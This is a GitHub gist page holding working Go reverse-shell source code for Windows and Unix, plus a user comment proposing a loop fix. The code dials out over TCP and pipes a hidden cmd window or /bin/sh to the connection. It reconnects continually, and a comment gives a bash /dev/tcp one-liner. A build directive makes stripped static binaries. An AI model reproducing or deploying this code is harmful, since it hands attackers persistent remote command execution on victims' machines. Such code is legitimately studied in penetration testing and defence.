Skip to content

Instantly share code, notes, and snippets.

@yougg
Forked from takeshixx/shell.go
Last active April 7, 2024 04:01
Show Gist options
  • Star 25 You must be signed in to star a gist
  • Fork 12 You must be signed in to fork a gist
  • Save yougg/b47f4910767a74fcfe1077d21568070e to your computer and use it in GitHub Desktop.
Save yougg/b47f4910767a74fcfe1077d21568070e to your computer and use it in GitHub Desktop.
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"
"syscall"
"time"
)
func main() {
reverse("127.0.0.1:6666")
}
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}
r := bufio.NewReader(c)
for {
order, err := r.ReadString('\n')
if nil != err {
c.Close()
reverse(host)
return
}
cmd := exec.Command("cmd", "/C", order)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
//go:generate sh -c "CGO_ENABLED=0 go build -installsuffix netgo -tags netgo -ldflags \"-s -w -extldflags '-static'\" -o $DOLLAR(basename ${GOFILE} .go)`go env GOEXE` ${GOFILE}"
// +build !windows
// Reverse Shell in Go
// http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
// Test with nc -lvvp 6666
package main
import (
"net"
"os/exec"
"time"
)
func main() {
reverse("127.0.0.1:6666")
}
// bash -i >& /dev/tcp/localhost/6666 0>&1
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
cmd.Run()
c.Close()
reverse(host)
}
@Zeg0
Copy link

Zeg0 commented Nov 11, 2022

Line 34 in reversesh.go uses infinite recursion reverse(host). This will eventually put enough function calls on the stack to crash the program because it has to many pointers. (the program keeps pointers where to go back once the function is done, which never happens and floods the stacktrace someday)
better remove that line and just wrap everything inside the reverse-function in a regular infinite for-loop like this:

func reverse(host string) {
	for {
		c, err := net.Dial("tcp", host)
		if nil != err {
			if nil != c {
				c.Close()
			}
			time.Sleep(time.Minute)
			reverse(host)
		}

		cmd := exec.Command("/bin/sh")
		cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
		cmd.Run()
		c.Close()
	}
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment